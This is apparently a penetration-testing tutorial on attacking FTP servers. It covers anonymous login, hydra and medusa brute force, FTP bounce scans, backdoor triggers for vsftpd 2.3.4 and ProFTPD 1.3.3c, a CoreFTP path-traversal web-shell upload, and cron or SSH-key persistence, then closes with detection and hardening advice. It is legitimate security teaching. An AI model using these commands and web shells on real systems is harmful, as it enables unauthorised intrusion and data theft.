Skip to Content
FTP service exploitation with anonymous authentication and brute-force attacks

FTP Service Attacks and Exploitation

Attacking FTP services on a penetration test, covering anonymous login, brute force, FTP bounce scanning and known backdoored and vulnerable server versions.

Jan 15, 2025
Updated Nov 22, 2026
16 min read

Introduction

File Transfer Protocol (FTP) moves files between a client and server over TCP. It dates back to 1971 and is still running on corporate file drops, shared web hosting and a lot of embedded gear.

The protocol has no security of its own, which is why it keeps showing up in findings:

  • Usernames and passwords cross the wire in cleartext.
  • File contents are cleartext too, so anyone sniffing the segment sees them.
  • Anonymous login is often left on, sometimes with write access.
  • Directory permissions are frequently looser than the owner thinks.
  • The PORT command lets the server be used as a proxy (the FTP bounce attack).

Why FTP still turns up

SFTP, FTPS and SCP have been around for decades, but plain FTP survives on old applications that only speak FTP, on devices and IoT kit that ship with it enabled, and on servers someone set up for public file distribution because it needed no certificates. Custom integrations built around FTP keep it alive too.

On internal tests, anonymous access and weak credentials on FTP are routine findings.

Technical background

How the protocol works

FTP uses two separate TCP connections.

The control connection runs on TCP/21 by default. It carries authentication, commands and responses as ASCII text and stays open for the whole session.

The data connection carries file transfers and directory listings. It uses TCP/20 in active mode or an ephemeral high port in passive mode, and it is opened for each operation and closed afterwards.

Active and passive mode

In active mode (PORT):

  1. The client opens a random high port and sends a PORT command with its IP and port.
  2. The server connects from port 20 to that client port.
  3. Because the server connects inbound to the client, client-side firewalls often block it.

In passive mode (PASV):

  1. The client sends PASV.
  2. The server opens a random high port and returns its IP and port.
  3. The client connects to that port.
  4. All connections are outbound from the client, so this works through client-side firewalls.

FTP commands

Commands that matter for testing:

CommandPurposeSecurity Implications
USERUsername authenticationTransmitted in clear text
PASSPassword authenticationTransmitted in clear text
LISTDirectory listingReveals file structure
RETRDownload fileExfiltration vector
STORUpload fileWeb shell upload potential
DELEDelete fileDenial of service / cleanup
MKDCreate directoryMay bypass restrictions
RMDRemove directoryDestructive capability
PORTActive mode data connectionFTP bounce attack vector
PASVPassive mode data connectionFirewall evasion
SYSTSystem informationVersion disclosure
STATServer statusInformation disclosure
HELPAvailable commandsFeature enumeration

Enumeration

Nmap service detection

Nmap finds FTP services and the default scripts check for anonymous access:

FTP Service Detection
# Basic FTP detection
nmap -p 21 -sV -sC 10.10.11.45

# Comprehensive FTP script scan
nmap -p 21 -sV --script=ftp-* 10.10.11.45

# Target multiple FTP ports
nmap -p 21,2121,990,8021 -sV -sC 10.10.11.0/24

FTP-related NSE scripts:

  • ftp-anon checks for anonymous login.
  • ftp-bounce tests whether the server allows FTP bounce.
  • ftp-libopie checks for the libopie buffer overflow.
  • ftp-proftpd-backdoor detects the backdoored ProFTPD 1.3.3c source release.
  • ftp-vsftpd-backdoor detects the vsftpd 2.3.4 backdoor.
  • ftp-vuln-cve2010-4221 checks for the ProFTPD stack-based buffer overflow in CVE-2010-4221.

Example output

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
|_Only 5 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
Service Info: OS: Unix

Manual enumeration

Connect directly to read the banner and try commands by hand:

# Using FTP client
ftp 10.10.11.45

# Using Netcat (raw commands)
nc 10.10.11.45 21

# Using Telnet
telnet 10.10.11.45 21

Banner grabbing:

# Extract version information
echo "QUIT" | nc 10.10.11.45 21

# Example banner
220 (vsFTPd 3.0.3)
220 ProFTPD 1.3.5 Server
220 Microsoft FTP Service

Exploitation techniques

Anonymous authentication

Anonymous FTP lets anyone log in without an account. Depending on configuration they can browse, download and sometimes upload.

Test anonymous login

Try the usual anonymous credentials:

Anonymous FTP Login Test
# Using FTP client
ftp 10.10.11.45
# Username: anonymous
# Password: anonymous (or blank)

# Anonymous login without the prompts (tnftp: -a logs in as anonymous, -A forces active mode)
ftp -a 10.10.11.45

# Using wget for recursive download
wget -r ftp://anonymous:anonymous@10.10.11.45/

# Using curl
curl -u anonymous:anonymous ftp://10.10.11.45/ --list-only

Credential pairs to try:

  • anonymous with password anonymous
  • anonymous with password guest
  • anonymous with a blank password
  • ftp with password ftp

Enumerate accessible directories

Once connected, walk the file system:

ftp> ls -la
ftp> cd pub
ftp> pwd
ftp> dir -R

# Check for writable directories
ftp> cd incoming
ftp> mkdir test
ftp> rmdir test

Directories worth checking first:

  • /home/, user home directories
  • /var/www/, a web server document root
  • /backup/, database and configuration backups
  • /config/, application configuration
  • /incoming/, often world-writable
  • /pub/, public file shares

Download sensitive files

Pull anything that looks useful:

# Single file download
ftp> get passwords.txt
ftp> get backup.zip
ftp> get id_rsa

# Binary mode for non-text files
ftp> binary
ftp> get database_backup.sql.gz

# ASCII mode for text files
ftp> ascii
ftp> get .bash_history

# Multiple file download
ftp> mget *.txt
ftp> mget *.conf

Recursive download with wget:

wget -r --no-passive ftp://anonymous:anonymous@10.10.11.45/

Test upload capability

If you have write access, check whether uploads work:

# Create test file
echo "<?php system(\$_GET['cmd']); ?>" > shell.php

# Upload to FTP
ftp> put shell.php
ftp> put backdoor.aspx
ftp> put test.html

# Verify upload
ftp> ls -la

# Multiple file upload
ftp> mput *.php

The payoff is when the FTP root overlaps a web root:

  1. Find an FTP directory that the web server also serves.
  2. Upload a web shell in a language the server runs (PHP, ASP, ASPX, JSP).
  3. Call it over HTTP: http://10.10.11.45/shell.php?cmd=whoami

Brute force

If anonymous access is off, try credentials.

Hydra

# Single username attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45

# User list and password list
hydra -L users.txt -P passwords.txt ftp://10.10.11.45

# With specific port
hydra -l fiona -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45:2121

# Verbose output
hydra -l admin -P passwords.txt -V ftp://10.10.11.45

# Faster threads (be careful - may trigger IDS)
hydra -l admin -P passwords.txt -t 16 ftp://10.10.11.45

Medusa

# Basic brute force
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h 10.10.11.45 -M ftp

# Multiple users
medusa -U users.txt -P passwords.txt -h 10.10.11.45 -M ftp

# Stop after first valid credentials
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -f

# Verbose mode
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -v 6

Metasploit

msfconsole
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ftp/ftp_login) > run

Password spraying vs brute force

Many FTP servers, especially ones backed by Active Directory, lock accounts after a few failures. Password spraying (one password against many accounts) is less likely to trip lockout than brute force (many passwords against one account).

A safer order of work:

  1. Build a list of valid usernames first.
  2. Try a short list of likely passwords.
  3. Space the attempts out to stay under the lockout threshold.
  4. Spread the source over several IPs only if the rules of engagement allow it.

FTP bounce attack

The FTP bounce attack abuses the PORT command so the FTP server connects to a host and port of your choosing. That turns it into a port-scanning proxy into networks you cannot reach directly.

How it works

  1. Connect to an FTP server that allows bounce (for example one in a DMZ).
  2. Send a PORT command naming an internal IP and port.
  3. The server tries to open a data connection to that target.
  4. Whether the connection succeeds tells you if the port is open.

Nmap

# Basic FTP bounce scan
nmap -Pn -v -n -p 80,443,445,3389 -b anonymous:password@10.10.11.45 172.17.0.2

# Scan entire subnet through FTP
nmap -Pn -p 22,80,443 -b ftp:ftp@10.10.11.45 192.168.1.0/24

# Comprehensive port scan
nmap -Pn -sV -p- -b anonymous:@10.10.11.45 10.10.10.5

Limits of the technique:

  • Current FTP servers reject PORT to third-party addresses by default.
  • You need anonymous access or valid credentials.
  • It is much slower than scanning directly.
  • Every PORT command lands in the server log.

Manual FTP bounce

ftp 10.10.11.45
ftp> PORT 172,17,0,2,0,80
200 PORT command successful
ftp> LIST

If the LIST data connection opens, the port is open on the target. If it fails, the port is closed or filtered.

Known vulnerable versions

vsftpd 2.3.4 backdoor (CVE-2011-2523)

The vsftpd 2.3.4 source tarball was briefly replaced with a backdoored copy. A username ending in :) opens a root shell on port 6200.

# Using Metasploit
msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

# Manual exploitation
nc 10.10.11.45 21
USER backdoored:)
PASS anything
# Backdoor shell opens on port 6200
nc 10.10.11.45 6200

ProFTPD 1.3.3c backdoor (CVE-2010-20103)

The ProFTPD 1.3.3c source on the project's mirror was also swapped for a backdoored version in late 2010. Metasploit lists it as CVE-2010-20103 (OSVDB-69562). This is a different bug from CVE-2010-4221, which is a stack overflow in ProFTPD's Telnet IAC handling.

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

CoreFTP path traversal (CVE-2022-22836)

CoreFTP Server before build 727 lets an authenticated user write files outside their directory through an HTTPS PUT with ../ sequences.

# Create malicious payload
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Exploit path traversal
curl -k -X PUT -H "Host: 10.10.11.45" \
     --basic -u admin:password123 \
     --data-binary @shell.php \
     --path-as-is \
     https://10.10.11.45/../../../../../../inetpub/wwwroot/shell.php

# Verify upload
curl http://10.10.11.45/shell.php?cmd=whoami

Post-exploitation

Transfer modes

Pick the transfer mode before you move a payload, or it may arrive broken.

Binary mode

Use binary for executables (.exe, .dll, .so), archives (.zip, .gz, .tar), images and database files.

ftp> binary
200 Switching to Binary mode.
ftp> put payload.exe
ftp> get backup.tar.gz

ASCII mode

ASCII mode converts line endings. Use it for text files, scripts, source code and configuration files.

ftp> ascii
200 Switching to ASCII mode.
ftp> put shell.php
ftp> get passwords.txt

File corruption

Uploading a binary in ASCII mode corrupts it because of the line-ending conversion. Set binary before uploading executables or payloads.

From file write to code execution

Write access through FTP turns into code execution when the FTP root overlaps something that runs code. Three common cases:

Web shell upload:

  1. Anonymous FTP can write to the web directory.
  2. Upload a PHP or ASP web shell.
  3. Request it over HTTP to get command execution as the web server user.

Cron job:

  1. The FTP account can write to /etc/cron.d/ or /var/spool/cron/.
  2. Upload a cron entry that runs your payload.
  3. Wait for it to run, as root if the FTP daemon wrote it with root ownership.

SSH key:

  1. The FTP account can write to /home/user/.ssh/.
  2. Upload your public key as authorized_keys.
  3. Log in over SSH as that user.

Data exfiltration

# Download entire directory structure
wget -r --no-passive ftp://admin:password@10.10.11.45/

# Mirror FTP server
lftp -e "mirror ; quit" ftp://admin:password@10.10.11.45/

# Selective download
lftp -c "open ftp://admin:password@10.10.11.45; mget *.sql; quit"

Detection and defense

Monitoring

What attacks look like in the logs:

  • Many failed logins from one source (brute force) or one failure each across many accounts (spraying).
  • An anonymous login followed by uploads.
  • PORT commands that name internal IP addresses (bounce attempts).
  • Large or unusual downloads of sensitive files.
  • Logins at odd hours or from unexpected source addresses.

Log analysis:

# vsftpd logs
tail -f /var/log/vsftpd.log

# ProFTPD logs
tail -f /var/log/proftpd/proftpd.log

# Check for failed logins
grep "FAIL LOGIN" /var/log/vsftpd.log

# Detect brute force
grep "authentication failed" /var/log/proftpd/proftpd.log | cut -d' ' -f8 | sort | uniq -c | sort -n

Hardening

Disable anonymous access

# vsftpd configuration (/etc/vsftpd.conf)
anonymous_enable=NO

# ProFTPD configuration (/etc/proftpd/proftpd.conf)
<Anonymous ~ftp>
  User ftp
  Group ftp
  UserAlias anonymous ftp
  # Comment out entire block or disable
</Anonymous>

Tighten authentication

  • Require long passwords (15 characters or more).
  • Put lockout or rate limiting in front of the login.
  • Remove or disable accounts nobody uses, and review the list regularly.
  • If users need stronger authentication, move them to SFTP with keys. Plain FTP has no way to protect the password in transit.

Restrict network access

# iptables firewall rules
iptables -A INPUT -p tcp --dport 21 -s 10.10.10.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

# vsftpd TCP wrappers
# /etc/hosts.allow
vsftpd: 10.10.10.0/24

# /etc/hosts.deny
vsftpd: ALL

Chroot users

Lock each user into their home directory:

# vsftpd
chroot_local_user=YES
chroot_list_enable=NO

# ProFTPD
DefaultRoot ~

Turn on logging

# vsftpd extensive logging
log_ftp_protocol=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log

# ProFTPD detailed logging
SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlog

Disable commands you do not need

# vsftpd - disable ABOR, DELE, RNFR, RNTO, STOR, STOU
cmds_allowed=FEAT,REST,CWD,LIST,MDTM,MKD,NLST,PASS,PASV,PORT,PWD,QUIT,RETR,SIZE,TYPE,USER

# ProFTPD
<Limit SITE_CHMOD>
  DenyAll
</Limit>

<Limit DELE RMD>
  DenyAll
</Limit>

Replace FTP

SFTP runs over SSH on port 22, so authentication and data are both encrypted.

FTPS is FTP wrapped in TLS. It comes in explicit mode (AUTH TLS on port 21, sometimes called FTPES) and implicit mode (TLS from the first byte, usually port 990), and it supports client certificates.

SCP also runs over SSH. It copies files without an interactive session.

References

MITRE ATT&CK techniques

RFCs and standards

Security resources

Vulnerabilities

On this page